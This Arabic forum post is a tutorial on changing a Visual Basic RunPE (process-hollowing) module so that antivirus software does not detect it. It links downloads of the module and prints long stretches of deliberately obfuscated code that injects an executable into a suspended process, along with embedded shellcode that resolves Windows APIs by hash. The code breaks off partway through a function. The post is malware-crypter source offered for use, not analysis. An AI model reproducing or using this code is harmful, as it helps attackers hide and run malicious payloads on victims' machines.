حالة الموضوع:
مغلق
  1. ViRuS TER0N

    ViRuS TER0N DeveloPer Plus

    الأنتساب:
    ‏28 مارس 2012
    المشاركات:
    115
    الإعجابات المتلقاة:
    2
    نقاط الجائزة:
    18
    الإقامة:
    الجزائر
    [​IMG]


    1- شرح ماذ نغير في runpe هاهو runpe للذين لا يمتلكونه
    [DOWNLOAD]
    http://www.mediafire.com/?awfp6x614iyclae

    OR

    http://rghost.net/37276938
    [/DOWNLOAD]

    [INFO]ملاحظة ماهو بالأحمر ممنوع تغييره و ما هو بالأخضر يسمح تعديل عليه ; والذي لم أشر بتغيرر سيتغير تلقائيا لا حظ صورة تالية[/INFO]

    [​IMG]


    2-أول شيئ نغيره في runpe و ننتبه أليه وهو praméter api

    كود PHP:
    Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpCode As LongOptional ByVal lParam1 As LongOptional ByVal lParam2 As LongOptional ByVal lParam3 As LongOptional ByVal lParam4 As Long) As Long
    3-ثاني شيئ نغيره هو تصاريح

    كود PHP:
    Private f7t4m As Boolean
    Private o1b4L(170) As Byte
    Private m8v8A(255) As Byte
    Private Const KERNEL32 As String "KERNEL32"
    Private Const NTDLL As String "NTDLL"
    4-الأن أنتهينا من جزأ تصاريح عامة ل runpe لآن سنغير في function

    كود PHP:
    Public Function bader(ByRef bvBuff() As ByteByVal sHost As StringOptional ByVal sParams As StringOptional ByRef hProcess As Long) As Boolean
    Dim U2U0L 
    As Long
    Dim U6o7i 
    As Long
    Dim j0q4J 
    As Long
    Dim I5F1X 
    As Long
    Dim i 
    As Long
    Dim e0M0l
    (16) As Long
    Dim K5f1o
    (3) As Long
    Dim h3X8Y
    (50) As Long
    GoTo lHgYTgwLhUeBwacIdi:
    uiCtkyIrqeQrNao:
    KjPtIpvOQMsnomrcUd "iSjnphG"
    GoTo naeDrpjByUrPVRdgvQRc
    naeDrpjByUrPVRdgvQRc
    :
    NyuiCtkyIrqeQrNa "VnaerpjByUr"
    GoTo gJZsMfaOuDEC
    lHgYTgwLhUeBwacIdi
    :
    QmeOwyTwAOZtHuhHe "FmquTuFzR"
    GoTo QNnCvfMPkMQfbKYxxYh
    GwcQYVbLSaqQQgQ
    :
    aNNpxJmFlIbnbZS "iEoEBMefA"
    GoTo QqSxvdRmdThsbaNNpxJm
    VpUsKkKVPiRoYj
    :
    NyuiCtkyIrqeQrNa "VnaerpjByUr"
    GoTo kwNckluSMqsZf
    smtQkjzDGxQmeOwyT
    :
    QmeOwyTwAOZtHuhHe "FmquTuFzR"
    GoTo gLTUSYvCJoAAP
    lIbnbZSliEozEBMe
    :
    GoTo 
    ABKjPtIpvOQsnomrcUdGiSjnphGjN
    gJZsMfaOuDEC
    :
    VRdgvQRclgJZsMfaOuD "CHsmtQkzDG"
    GoTo smtQkjzDGxQmeOwyT
    QNnCvfMPkMQfbKYxxYh
    :
    VRdgvQRclgJZsMfaOuD "CHsmtQkzDG"
    GoTo VpUsKkKVPiRoYj
    kwNckluSMqsZf
    :
    KjPtIpvOQMsnomrcUd "iSjnphG"
    GoTo GwcQYVbLSaqQQgQ
    ABKjPtIpvOQsnomrcUdGiSjnphGjN
    :
    aNNpxJmFlIbnbZS "iEoEBMefA"
    GoTo uiCtkyIrqeQrNao
    QqSxvdRmdThsbaNNpxJm
    :
    U2U0L VarPtr(bvBuff(0))
    GoTo 
    lIbnbZSliEozEBMe
    gLTUSYvCJoAAP
    :
    If 
    Not GetNumb(U2U0L2) = &H5A4D Then Exit Function
    GoTo 
    rqeQrNaoVnaeDrpjB:
    qeQrNaoVnaeDrjByUrPVRdgvQRlgJZsMfaOu:
    yGwcQYVbLSaqQQg "ZQqSxvdRmdhsbaNNpxJ"
    GoTo ECHsmtQkjzDGxQmewyTwAOZtHuhHedFmEq
    PkMQfbKYxxYhtVpUsKKVPiRoYjokwN
    :
    LTUSYvCJoAAPTQN "CvfMkMQfbKYxx"
    GoTo kluSMqsZfywcQYVbLSaqQQgQZQq
    rqeQrNaoVnaeDrpjB
    :
    OQMsnomrcUdGiSjnp "GjNuiCtky"
    GoTo MfaOuDECHsmtQ
    kluSMqsZfywcQYVbLSaqQQgQZQq
    :
    U6o7i U2U0L GetNumb(U2U0L + &H3C)
    GoTo 
    xvdRmdThsbaNNpxJmFl
    ECHsmtQkjzDGxQmewyTwAOZtHuhHedFmEq
    :
    FlIbnbZSliEozEBM "fAKjPtIp"
    GoTo TuFzROlHgYTgwLUeBwacIdiqgTUSYvCJoAAPTQNnCvfPkMQfbK YxxYhtVpUsK
    jPtIpvOQMsnomrcUdiSjnphGjNyuiCtkyI
    :
    htVpUsKkKVPiRoYjokwN "klSMqsZ"
    GoTo qeQrNaoVnaeDrjByUrPVRdgvQRlgJZsMfaOu
    xvdRmdThsbaNNpxJmFl
    :
    GoTo 
    bnbZSliEozEBMefAB
    jzDGxQmeOwyTAOZtHuhHedFmEq
    :
    yGwcQYVbLSaqQQg "ZQqSxvdRmdhsbaNNpxJ"
    GoTo TuFzROlHgYTgwLUeBwacIdiqgTUSYvCJoAAPTQNnCvf
    MfaOuDECHsmtQ
    :
    FlIbnbZSliEozEBM "fAKjPtIp"
    GoTo jzDGxQmeOwyTAOZtHuhHedFmEq
    bnbZSliEozEBMefAB
    :
    LTUSYvCJoAAPTQN "CvfMkMQfbKYxx"
    GoTo jPtIpvOQMsnomrcUdiSjnphGjNyuiCtkyI
    TuFzROlHgYTgwLUeBwacIdiqgTUSYvCJoAAPTQNnCvf
    :
    htVpUsKkKVPiRoYjokwN "klSMqsZ"
    GoTo PkMQfbKYxxYhtVpUsKKVPiRoYjokwN
    TuFzROlHgYTgwLUeBwacIdiqgTUSYvCJoAAPTQNnCvfPkMQfbK YxxYhtVpUsK
    :
    OQMsnomrcUdGiSjnp "GjNuiCtky"
    GoTo UrPVRdgvQRclgJZ
    :UrPVRdgvQRclgJZ
    If Not GetNumb(U6o7i) = &H4550 Then Exit Function
    GoTo 
    eBwacIdiqgLTUSYvCJoA:
    kluSMqsZfywcQYVbLSaqQQgQZQqxvdRmdThsbaNNpxJmFlbnbZ SliEozEBMefAB:
    nomrcUdGiSjnphGjNuiCtkyIrqeQrNaoVn "eDpjByU"
    GoTo jPtIpvOQMsnomrcUdiSjnphGjNyuiCtkyIqeQrNaoVnaeDr
    jByUrPVRdgvQRlgJZsMfaOuECHsmtQkjzDGxQme
    :
    e0M0l(0) = &H44
    GoTo wyTwAOZtHuhHedFmEqTuFzROlHgYTgwL
    eBwacIdiqgLTUSYvCJoA
    :
    xQmeOwyTwAOZtHuhHe "FmquTuFzRlHgYTgwLh"
    GoTo YxxYhtVpUsKkKVPiR
    wyTwAOZtHuhHedFmEqTuFzROlHgYTgwL
    :
    Call s6F0Y(KERNEL32, &H16B3FE88StrPtr(sHost), StrPtr(sParams), 000, &H400VarPtr(e0M0l(0)), VarPtr(K5f1o(0)))
    GoTo 
    UeBwacIdiqgTUSYvCJoAAPTQNnCvfPkMQfbKYxxYhtVpUsKKVP iRoYjokwN
    jPtIpvOQMsnomrcUdiSjnphGjNyuiCtkyIqeQrNaoVnaeDr
    :
    PVRdgvQRclgJZsMfa "uDECHsmtQjzD"
    GoTo jByUrPVRdgvQRlgJZsMfaOuECHsmtQkjzDGxQmewyTwAOZtHuh HedFmEqTuFzROlHgYTgwL
    kluSMqsZfywcQYVbLSaqQQgQZQqxvdRmdThsbaNNpxJmFl
    :
    Call s6F0Y(NTDLL, &HD33BCABDK5f1o(0), VarPtr(I5F1X), 0VarPtr(GetNumb(U6o7i + &H50)), &H3000, &H40)
    GoTo 
    bnbZSliEozEBMefABjPtIpvOQMsnomrcUd
    iSjnphGjNyuiCtkyIqeQrNaoVnaeDr
    :
    GoTo 
    jByUrPVRdgvQRlgJZsMfaOuECHsmtQkjzDGxQmewyTwAOZtHuh HedFmEq
    GjNyuiCtkyIqeQrNaoVnaeDr
    :
    I5F1X GetNumb(U6o7i + &H34)
    GoTo 
    jByUrPVRdgvQRlgJZsMfaOuECHsmtQkjzDGxQme
    YjokwNckluSMq
    :
    nomrcUdGiSjnphGjNuiCtkyIrqeQrNaoVn "eDpjByU"
    GoTo ZfyGwcQYVbLSaqQgQZQqSxvdRmdThsbaNpxJmFlIbnbZSliEoz E
    jByUrPVRdgvQRlgJZsMfaOuECHsmtQkjzDGxQmewyTwAOZtHuh HedFmEq
    :
    QgQZQqSxvdRmdThsbaNN "xJmFIbn"
    GoTo TuFzROlHgYTgwLUeBwacIdiqgTUSYvCJoAAPTQNnCvfPkMQfbK YxxYhtVpUsKKVPiRoYjokwN
    TuFzROlHgYTgwLUeBwacIdiqgTUSYvCJoAAPTQNnCvfPkMQfbK YxxYhtVpUsKKVPiRoYjokwN
    :
    ZSliEozEBMefABK "PtIvOQM"
    GoTo kluSMqsZfywcQYVbLSaqQQgQZQqxvdRmdThsbaNNpxJmFlbnbZ SliEozEBMefAB
    MefABKjPtIpvOQMnomrcUdGiSjnp
    :
    QgQZQqSxvdRmdThsbaNN "xJmFIbn"
    GoTo GjNyuiCtkyIqeQrNaoVnaeDr
    UeBwacIdiqgTUSYvCJoAAPTQNnCvfPkMQfbKYxxYhtVpUsKKVP iRoYjokwN
    :
    Call s6F0Y(NTDLL, &HF21037D0K5f1o(0), I5F1X)
    GoTo 
    kluSMqsZfywcQYVbLSaqQQgQZQqxvdRmdThsbaNNpxJmFl
    YxxYhtVpUsKkKVPiR
    :
    PVRdgvQRclgJZsMfa "uDECHsmtQjzD"
    GoTo YjokwNckluSMq
    bnbZSliEozEBMefABjPtIpvOQMsnomrcUd
    :
    Call s6F0Y(NTDLL, &HC5108CC2K5f1o(0), I5F1XVarPtr(bvBuff(0)), GetNumb(U6o7i + &H54), 0)
    GoTo 
    iSjnphGjNyuiCtkyIqeQrNaoVnaeDr
    jByUrPVRdgvQRlgJZsMfaOuECHsmtQkjzDGxQmewyTwAOZtHuh HedFmEqTuFzROlHgYTgwL
    :
    xQmeOwyTwAOZtHuhHe "FmquTuFzRlHgYTgwLh"
    GoTo PTQNnCvfMPkMQfb
    ZfyGwcQYVbLSaqQgQZQqSxvdRmdThsbaNpxJmFlIbnbZSliEoz E
    :
    ZSliEozEBMefABK "PtIvOQM"
    GoTo MefABKjPtIpvOQMnomrcUdGiSjnp
    PTQNnCvfMPkMQfb
    :
    For 
    0 To GetNumb(U6o7i + &H62) - 1
    GoTo eBwacIdiqgLTUSYvCJoAPTQNnCvfMPkMQfb:
    YvNnNZSlUrbmro:
    GoTo 
    QfnoxVQtvciBJzf
    cTtVAyhUpg
    :
    yuiCtkyIrqeQrNaoVna "DrjByUPVRdg"
    GoTo lveeQQsANpIoMeqecVol
    jByUrPVRdgvQRlgJZsMfaOuECHsmtQkjzDGxQmezCQzDRcxKxk LhgIqHtx
    :
    iEozEBMefABKjPtI "vOQMnomrcdGiSjnphGj"
    GoTo xICURpKjbYjAOkYhFzdf
    QfnoxVQtvciBJzf
    :
    qSxvdRmdThsbaNNpxJmF "IbnZS"
    GoTo bZeOVdtUTk
    rCIEPhiDEOmSwLszR
    :
    wyTwAOZtHuhHedFmEqu "uFzROlHgYTwLh"
    GoTo YxxYhtVpUsKkKVPiRYjokwNckluSMq
    ZfyGwcQYVbLSaqQgQZQqSxvdRmdThsbaNpxJmFlIbnbZSliEoz EMefABKjPtIpvOQM
    :
    QRclgJZsMfaOuDECH "mtQkjDGxQme"
    GoTo nomrcUdGiSjnpGjNyuiCtkyIqeQrNaoVnaeDr
    nomrcUdGiSjnpGjNyuiCtkyIqeQrNaoVnaeDr
    :
    yuiCtkyIrqeQrNaoVna "DrjByUPVRdg"
    GoTo jByUrPVRdgvQRlgJZsMfaOuECHsmtQkjzDGxQmezCQzDRcxKxk LhgIqHtx
    xICURpKjbYjAOkYhFzdf
    :
    qSxvdRmdThsbaNNpxJmF "IbnZS"
    GoTo gltjOYYQbyFMrDDTQa
    eBwacIdiqgLTUSYvCJoAPTQNnCvfMPkMQfb
    :
    wyTwAOZtHuhHedFmEqu "uFzROlHgYTwLh"
    GoTo ZfyGwcQYVbLSaqQgQZQqSxvdRmdThsbaNpxJmFlIbnbZSliEoz EMefABKjPtIpvOQM
    bZeOVdtUTk
    :
    iEozEBMefABKjPtI "vOQMnomrcdGiSjnphGj"
    GoTo cTtVAyhUpg
    lveeQQsANpIoMeqecVol
    :
    QRclgJZsMfaOuDECH "mtQkjDGxQme"
    GoTo rCIEPhiDEOmSwLszR
    gltjOYYQbyFMrDDTQa
    :
    j0q4J U6o7i + &HF8 + (&H28 i)
    GoTo 
    qFyiPSnPTifNbAAckwZ
    qFyiPSnPTifNbAAckwZ
    :
    Call s6F0Y(NTDLL, &HC5108CC2K5f1o(0), I5F1X GetNumb(j0q4J + &HC), U2U0L GetNumb(j0q4J + &H14), GetNumb(j0q4J + &H10), 0)
    GoTo 
    YvNnNZSlUrbmro
    YxxYhtVpUsKkKVPiRYjokwNckluSMq
    :
    Next i
    GoTo noxVQtvciBJfabZeOVdtUTkacT:
    qFyiPSnPTifNbAAckwZYvNnNZSlUrbmro:
    ZUgkyTUfojMdvPjdSyHH "Kwpwbnn"
    GoTo QfnoxVQtvciBJzfbZeOVdtUTk
    QfnoxVQtvciBJzfbZeOVdtUTk
    :
    GJBapiRzCQzDRcxKxk "hgIqHtxQ"
    GoTo cTtVAyhUpglveeQQsANpIoMeqecVol
    PvqrpufZgJVmqtkJmRBxlG
    :
    GJBapiRzCQzDRcxKxk "hgIqHtxQ"
    GoTo nBLuuhTuQesZrdGvsmEBYuSZU
    ANpIoMeqecVolrCIEPhiDEOmSwLszR
    :
    ICURpKjbYjAOkYhFzfLgltjOYYQbyFMr "DTQaRqF"
    GoTo PvqrpufZgJVmqtkJmRBxlG
    YvNnNZSlUrbmroQfnoxVQtvciBJzf
    :
    h3X8Y(44) = I5F1X GetNumb(U6o7i + &H28)
    GoTo 
    bZeOVdtUTkcTtVAyhUpg
    bZeOVdtUTkcTtVAyhUpg
    :
    Call s6F0Y(NTDLL, &H6935E395K5f1o(1), VarPtr(h3X8Y(0)))
    GoTo 
    lveeQQsANpIoMeqecVolrCIEPhiDEOmSwLszR
    lveeQQsANpIoMeqecVolrCIEPhiDEOmSwLszR
    :
    Call s6F0Y(NTDLL, &HC54A46C8K5f1o(1), 0)
    GoTo 
    PvqrpufZgJVmqtkJmRBxlGnBLuuhTuQesZrd
    rCIEPhiDEOmSwLszRPvqrpufZgJ
    :
    iPSnPTifNbAAckwZs "vNnNZSlUrbrozQ"
    GoTo VAyhUpgQlveeQQ
    gltjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZ
    :
    Call s6F0Y(NTDLL, &HC5108CC2K5f1o(0), h3X8Y(41) + &H8VarPtr(I5F1X), &H40)
    GoTo 
    YvNnNZSlUrbmroQfnoxVQtvciBJzf
    nCGJBapiRzCQ
    :
    h3X8Y(0) = &H10007
    GoTo DRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdf
    cTtVAyhUpglveeQQsANpIoMeqecVol
    :
    ICURpKjbYjAOkYhFzfLgltjOYYQbyFMr "DTQaRqF"
    GoTo rCIEPhiDEOmSwLszRPvqrpufZgJ
    GvsmEBYuSZUkyTUfojMdvP
    :
    RunPE True
    GoTo dSyHHFKwpwbnCGJBapiRzCQ
    dSyHHFKwpwbnCGJBapiRzCQ
    :
    GoTo 
    DRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdfgltjOYYQbyFMrDD TQa
    DRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdf
    :
    Call s6F0Y(NTDLL, &HE935E393K5f1o(1), VarPtr(h3X8Y(0)))
    GoTo 
    gltjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZ
    DRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdfgltjOYYQbyFMrDD TQa
    :
    wnBLuuhTuQesZrdhGv "mEBYu"
    GoTo qFyiPSnPTifNbAAckwZYvNnNZSlUrbmro
    kyTUfojMdvPdSyHHFKwpwb
    :
    wnBLuuhTuQesZrdhGv "mEBYu"
    GoTo nCGJBapiRzCQ
    PvqrpufZgJVmqtkJmRBxlGnBLuuhTuQesZrd
    :
    hProcess K5f1o(0)
    GoTo 
    GvsmEBYuSZUkyTUfojMdvP
    nBLuuhTuQesZrdGvsmEBYuSZU
    :
    ZUgkyTUfojMdvPjdSyHH "Kwpwbnn"
    GoTo kyTUfojMdvPdSyHHFKwpwb
    noxVQtvciBJfabZeOVdtUTkacT
    :
    iPSnPTifNbAAckwZs "vNnNZSlUrbrozQ"
    GoTo ANpIoMeqecVolrCIEPhiDEOmSwLszR
    VAyhUpgQlveeQQ
    :
    End Function
    [NOTE]5-سننتقل ل " function 2"[/NOTE]

    كود PHP:
    Private Function GetNumb(ByVal lPtr As LongOptional ByVal lSize As Long = &H4) As Long
    GoTo PhiDEOmSwLszRaPvrpufZgJlVmqtk:
    nCGJBapiRzCQDRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdf:
    GoTo 
    gltjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZYvNnNZSlUrbmr oQfnoxVQtvciBJzf
    PvqrpufZgJVmqtkJmRBxlGnBLuuhTuQesZrdGvsmEBYuSZUkyT UfojMdvP
    :
    tjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZs "vNnNZSlUrbrozQnox"
    GoTo dSyHHFKwpwbnCGJBapiRzCQDRcxKxkLhgIqHtxxICURpKjbYjA OkYhFzdf
    QfnoxVQtvciBJzfbZeOVdtUTkcTtVAyhUpglveeQQsANpIoMeq ecVol
    :
    txQxICURpKjbYjAOkY "FzdLg"
    GoTo rCIEPhiDEOmSwLszRPvqrpufZgJVmqtkJmRBxlGnBLuuhTuQes Zrd
    gltjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZYvNnNZSlUrbmr oQfnoxVQtvciBJzf
    :
    bnnCGJBapiRzCQzDR "xKkLhgIq"
    GoTo bZeOVdtUTkcTtVAyhUpglveeQQsANpIoMeqecVolrCIEPhiDEO mSwLszR
    gltjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZYvNnNZSlUrbmr oQfnoxVQtvciBJzfbZeOVdtUTk
    :
    gQlveeQQsANpIoMe "ecVoHrCI"
    GoTo mRBxlGwnBLuuhTuQeZrdhGvsmEBYuS
    UgkyTUfojMdvPjdSyHHFwpwbnnCGJBapiRzCQ
    :
    QtvciBJzfabZeOVdtUTk "cTVAyhU"
    GoTo DRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdfgltjOYYQbyFMrDD TQaqFyiPSnPTifNbAAckwZYvNnNZSlUrbmro
    DRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdfgltjOYYQbyFMrDD TQaqFyiPSnPTifNbAAckwZYvNnNZSlUrbmro
    :
    tjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZs "vNnNZSlUrbrozQnox"
    GoTo QfnoxVQtvciBJzfbZeOVdtUTkcTtVAyhUpglveeQQsANpIoMeq ecVol
    rCIEPhiDEOmSwLszRPvqrpufZgJVmqtkJmRBxlGnBLuuhTuQes Zrd
    :
    bnnCGJBapiRzCQzDR "xKkLhgIq"
    GoTo GvsmEBYuSZUkyTUfojMdvPdSyHHFKwpwb
    PhiDEOmSwLszRaPvrpufZgJlVmqtk
    :
    gQlveeQQsANpIoMe "ecVoHrCI"
    GoTo UgkyTUfojMdvPjdSyHHFwpwbnnCGJBapiRzCQ
    bZeOVdtUTkcTtVAyhUpglveeQQsANpIoMeqecVolrCIEPhiDEO mSwLszR
    :
    txQxICURpKjbYjAOkY "FzdLg"
    GoTo PvqrpufZgJVmqtkJmRBxlGnBLuuhTuQesZrdGvsmEBYuSZUkyT UfojMdvP
    GvsmEBYuSZUkyTUfojMdvPdSyHHFKwpwb
    :
    Call s6F0Y(NTDLL, &HC5108CC2, -1VarPtr(GetNumb), lPtrlSize0)
    GoTo 
    nCGJBapiRzCQDRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdf
    dSyHHFKwpwbnCGJBapiRzCQDRcxKxkLhgIqHtxxICURpKjbYjA OkYhFzdf
    :
    QtvciBJzfabZeOVdtUTk "cTVAyhU"
    GoTo gltjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZYvNnNZSlUrbmr oQfnoxVQtvciBJzfbZeOVdtUTk
    mRBxlGwnBLuuhTuQeZrdhGvsmEBYuS
    :
    End Function
    [NOTE]5- سننتقل ألي "function 3"[INFO][/NOTE]

    كود PHP:
    Public Function s6F0Y(ByVal P5m8U As StringByVal w4d1d As LongParamArray vParams() As Variant) As Long
    Dim t0q4f 
    As Variant
    Dim d5g0K 
    As V5k0U
    Dim t4k6A 
    As Long
    Dim i 
    As Long
    Dim w 
    As Long
    If Not f7t4m Then
    For 0 To 170
    o1b4L
    (i) = CByte(Choose(1, &HE8, &H22, &H0, &H0, &H0, &H68, &HA4, &H4E, &HE, &HEC, &H50, &HE8, &H43, &H0, &H0, &H0, &H83, &HC4, &H8, &HFF, &H74, &H24, &H4, &HFF, &HD0, &HFF, &H74, &H24, &H8, &H50, &HE8, &H30, &H0, &H0, &H0, &H83, &HC4, &H8, &HC3, &H56, &H55, &H31, &HC0, &H64, &H8B, &H70, &H30, &H8B, &H76, &HC, &H8B, &H76, &H1C, &H8B, &H6E, &H8, &H8B, &H7E, &H20, &H8B, &H36, &H38, &H47, &H18, &H75, &HF3, &H80, &H3F, &H6B, &H74, &H7, &H80, &H3F, &H4B, &H74, &H2, &HEB, &HE7, &H89, &HE8, &H5D, &H5E, &HC3, &H55, &H52, &H51_
    &H53, &H56, &H57, &H8B, &H6C, &H24, &H1C, &H85, &HED, &H74, &H43, &H8B, &H45, &H3C, &H8B, &H54, &H5, &H78, &H1, &HEA, &H8B, &H4A, &H18, &H8B, &H5A, &H20, &H1, &HEB, &HE3, &H30, &H49, &H8B, &H34, &H8B, &H1, &HEE, &H31, &HFF, &H31, &HC0, &HFC, &HAC, &H84, &HC0, &H74, &H7, &HC1, &HCF, &HD, &H1, &HC7, &HEB, &HF4, &H3B, &H7C, &H24, &H20, &H75, &HE1, &H8B, &H5A, &H24, &H1, &HEB, &H66, &H8B, &HC, &H4B, &H8B, &H5A, &H1C, &H1, &HEB, &H8B, &H4, &H8B, &H1, &HE8, &H5F, &H5E, &H5B, &H59, &H5A, &H5D, &HC3))
    Next i
    GoTo wyHfaDFmsLTIokjoZgnDedtjm:
    IqfzqhuEnnbbBKQzSVoAolfxuRBLRNaq:
    PUFyFkxwMQSKkyrcJLgI "bmGTHtUrRzQChHSMfcy"
    GoTo MOYvdGVCIckaFAzEpipTugwzCuSw
    MfcyUtlhsJZuirOJnpV
    :
    f7t4m True
    GoTo vDsYhiglIOVAN
    dhjbAPHsacwZesoQkJ
    :
    pipTugwzCuSwbKGvPG "KUEDrdbnBjAmq"
    GoTo luGiChFYxYjdveBlvxJapwyHfaDFmsLTokkjoZgnDedtjmeCg
    MOYvdGVCIckaFAzEpipTugwzCuSw
    :
    tlhsJZuirOJnpVpvDsYh "glIVANMdhjbA"
    GoTo KGvPGxKUEDdEbnBjAmqQECwLiDcieqtIefoytQmEZ
    yFkxwMQSKkyrcJLgNbmGTHtUrqRzQCGhH
    :
    0
    GoTo MfcyUtlhsJZuirOJnpV
    wbKGvPGxKUEDrdEbnBj
    :
    PUFyFkxwMQSKkyrcJLgI "bmGTHtUrRzQChHSMfcy"
    GoTo mqQECwOLiDcieqt
    wyHfaDFmsLTIokjoZgnDedtjm
    :
    HsacwZesoQkJKluGiCh "YxYjdvelvBxJa"
    GoTo uRBLRNaqrMOYvdGCIckaFAAzEpipTugwzCu
    KGvPGxKUEDdEbnBjAmqQECwLiDcieqtIefoytQmEZ
    :
    HsacwZesoQkJKluGiCh "YxYjdvelvBxJa"
    GoTo CgKIqfzqhunnbbBKQzSyVoAolf
    vDsYhiglIOVAN
    :
    GoTo 
    dhjbAPHsacwZesoQkJ
    luGiChFYxYjdveBlvxJapwyHfaDFmsLTokkjoZgnDedtjmeCg
    :
    ECwOLiDcieqtIefoytQ "EZsnHQ"
    GoTo IqfzqhuEnnbbBKQzSVoAolfxuRBLRNaq
    mqQECwOLiDcieqt
    :
    ECwOLiDcieqtIefoytQ "EZsnHQ"
    GoTo efoytQmEZsncHQRPU
    efoytQmEZsncHQRPU
    :
    pipTugwzCuSwbKGvPG "KUEDrdbnBjAmq"
    GoTo yFkxwMQSKkyrcJLgNbmGTHtUrqRzQCGhH
    uRBLRNaqrMOYvdGCIckaFAAzEpipTugwzCu
    :
    tlhsJZuirOJnpVpvDsYh "glIVANMdhjbA"
    GoTo wbKGvPGxKUEDrdEbnBj
    CgKIqfzqhunnbbBKQzSyVoAolf
    :
    End If
    t4k6A CallWindowProcW(VarPtr(o1b4L(0)), StrPtr(P5m8U), w4d1d)
    If 
    t4k6A Then
    For UBound(vParamsTo LBound(vParamsStep -1
    GoTo mFlIbAbmgyiEoyEAM:
    mFlIbAbmgyiEoyEAM:
    DQPgkneDSLvdfAd "vraNNox"
    GoTo NLtiCtkxHrqe
    xluRMqsZtyvckljoLSaDQPgkne
    :
    Call N3I5y(d5g0K.B3i): Call N3I5y(d5g0K.B4i)
    GoTo 
    SLvdfAdhvraoNNox
    FNaCVBZrDrjByUEPURduvQR
    :
    ufMOjLQfpJQKxYutVC "GKkKVPifBY"
    GoTo zgJZFLfndIECHslsQxjzDFxQze
    MOjLQfpJQKxutVCTGKkKVPifBYwokwM
    :
    Call N3I5y(d5g0K.B1i): Call N3I5y(d5g0K.B2i)
    GoTo 
    xluRMqsZtyvckljoLSaDQPgkne
    THFzROlHglitwL
    :
    d5g0K D3N8K(CLng(vParams(w)))
    GoTo 
    irBwapIcvqfTUSYIBJnAzPTVNnCu
    mFlIbAbmgyiEoyEAMszBKidGIpv
    :
    OJySJANZHGugHeq "mDptTHFROlHgl"
    GoTo QMsnomrcjqGhhwmphFNLtiCtkxHrqe
    JySJANZHGugHeqEmDp
    :
    OJySJANZHGugHeq "mDptTHFROlHgl"
    GoTo THFzROlHglitwL
    ECHslsQxjzDFxQzeJySJANZHGugHeqEmDp
    :
    okwMcxluRMqsZtyGv "kloLS"
    GoTo THFzROlHglitwLirBwapIcvqf
    irBwapIcvqfTUSYIBJnAzPTVNnCu
    :
    Call N3I5y(&H68i)
    GoTo 
    MOjLQfpJQKxutVCTGKkKVPifBYwokwM
    SLvdfAdhvraoNNox
    :
    GoTo 
    mFlIbAbmgyiEoyEAMszBKidGIpv
    NLtiCtkxHrqe
    :
    okwMcxluRMqsZtyGv "kloLS"
    GoTo FNaCVBZrDrjByUEPURduvQR
    zgJZFLfndIECHslsQxjzDFxQze
    :
    twLhirBwapIcvqf "TUSYIBJnzPTVNn"
    GoTo JySJANZHGugHeqEmDp
    FNaCVBZrDrjByUEPURduvQRzgJZFLfndI
    :
    ufMOjLQfpJQKxYutVC "GKkKVPifBY"
    GoTo ECHslsQxjzDFxQzeJySJANZHGugHeqEmDp
    THFzROlHglitwLirBwapIcvqf
    :
    DQPgkneDSLvdfAd "vraNNox"
    GoTo szBKidGIpvQMsnomrcjqGhhwmphF
    QMsnomrcjqGhhwmphFNLtiCtkxHrqe
    :
    twLhirBwapIcvqf "TUSYIBJnzPTVNn"
    GoTo FNaCVBZrDrjByUEPURduvQRzgJZFLfndI
    szBKidGIpvQMsnomrcjqGhhwmphF
    :
    Next w
    GoTo ROlHglitwLhirBwpIcvqfKTUS:
    FlIbAbmgyiEoEAMdszBKidGIpvOMsnomrcjqGhhwmphFjNLiCt kxHrqeeFNaC:
    Call N3I5y(&HFFi): Call N3I5y(&HD0i)
    GoTo 
    BZrDrpjByUEPURduvQRbgJZFLfndIDECHslQxjzDFxQzeOJyS
    ANZHGugHeqEmDptTHzROlHglitwLhirBwpIcvqfKTUS
    :
    GoTo 
    IBJnAzPTVNnCufMOjLQfJQKxYutVCTGKkVPifBYwokwMcxluRM sZtyGvckljoLS
    zROlHglitwLhirBwpIcvqfKTUSIBJnAzPTVNnCuiPSnPTi
    :
    JZFLfndIDECHslsxjzDFxQzeOJySJANZHGu "HeqmDptTHF"
    GoTo IBJnAzPTVNnCufMOjLQfJQKxYutVCTGKk
    iCtkxHrqeeFNaCBZrDrpjByUEPURduvQRbgJZFLfndIDECHsl
    :
    YwokwMcxluRMqsZtyG "ckljoSaDQPgkn"
    GoTo QxjzDFxQzeOJySANZHGugHeqEmDptTH
    VPifBYwokwMcxluRMsZtyGvckljoLS
    :
    nomrcjqGhhwmphFjNtiCtkxHrqeeFNaCVBZr "rpjByUEURduvQRbz"
    GoTo DQPgkneDSLdfAdhvraoNNoxJ
    DQPgkneDSLdfAdhvraoNNoxJ
    :
    mgyiEoyEAMdszBK "dGIvOQM"
    GoTo FlIbAbmgyiEoEAMdszBKidGIpvOMsnomrcjqGhhwmphFjNL
    sZtyGvckljoLSDQPgkneDSLdfAdhvraoNNoxJ
    :
    Call N3I5y(d5g0K.B3i): Call N3I5y(d5g0K.B4i)
    GoTo 
    FlIbAbmgyiEoEAMdszBKidGIpvOMsnomrcjqGhhwmphFjNLiCt kxHrqeeFNaC
    gJZFLfndIDECHslQxjzDFxQzeOJySANZHGugHeqEmDptTH
    :
    nomrcjqGhhwmphFjNtiCtkxHrqeeFNaCVBZr "rpjByUEURduvQRbz"
    GoTo zROlHglitwLhirBwpIcvqfKTUSIBJnAzPTVNnCuiPSnPTi
    BZrDrpjByUEPURduvQRbgJZFLfndIDECHslQxjzDFxQzeOJyS
    :
    Call N3I5y(&HC3i)
    GoTo 
    ANZHGugHeqEmDptTHzROlHglitwLhirBwpIcvqfKTUS
    IBJnAzPTVNnCufMOjLQfJQKxYutVCTGKkVPifBYwokwMcxluRM 
    :
